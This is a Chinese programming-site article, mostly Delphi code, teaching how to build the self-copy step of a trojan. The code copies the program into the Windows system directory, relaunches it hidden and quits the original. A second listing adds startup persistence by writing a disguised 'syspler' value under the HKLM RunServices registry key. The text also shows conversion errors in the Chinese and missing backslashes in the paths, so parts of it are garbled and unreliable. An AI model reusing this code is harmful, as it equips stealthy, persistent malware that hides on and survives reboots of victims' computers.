程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 更多編程語言 >> 更多關於編程 >> Delphi完成木馬自我拷貝辦法

Delphi完成木馬自我拷貝辦法

編輯:更多關於編程

Delphi完成木馬自我拷貝辦法。本站提示廣大學習愛好者:(Delphi完成木馬自我拷貝辦法)文章只能為提供參考,不一定能成為您想要的結果。以下是Delphi完成木馬自我拷貝辦法正文


木馬完成自我拷貝的原理是順序運轉時先檢查自己是不是在特定目錄下,假如是就持續運轉,假如不是就把自己拷貝到特定目錄下,然後運轉新順序,繼而加入舊順序.
本例即以Delphi完成木馬的自我拷貝。
首先翻開Delphi,新建一個工程,在窗口的Create事情中寫入如下代碼:

procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //取得文件名
if application.Exename <> GetWindir + myname then //假如文件不是在WindowsSystem那麼..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{將自己拷貝到WindowsSystem下}
Winexec(pchar(GetWindir + myname), sw_hide);//運轉WindowsSystem下的新文件
application.Terminate;//加入
end;
end;

其中GetWinDir是自定義函數,起功用是找出WindowsSystem的途徑.

function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'' then Result := Result + '';
end; 

如何能使順序能在windows啟動時自動啟動?
 
為了順序能在Windows每次啟動時自動運轉,可以經過以下途徑來完成.“冰河”用注冊表的方式。
參加Registry單元,改寫下面的窗口Create事情,改寫後的順序如下:

procedure TForm1.FormCreate(Sender: TObject);
const K = 'SoftwareMicrosoftWindowsCurrentVersionRunServices';
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //取得文件名
if application.Exename <> GetWindir + myname then //假如文件不是在WindowsSystem那麼..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//將自己拷貝到Windows/System32下}
Winexec(pchar(GetWindir + myname), sw_hide);//運轉WindowsSystem下的新文件
application.Terminate;//加入
end;
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
finally
free;
end;
end; 
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved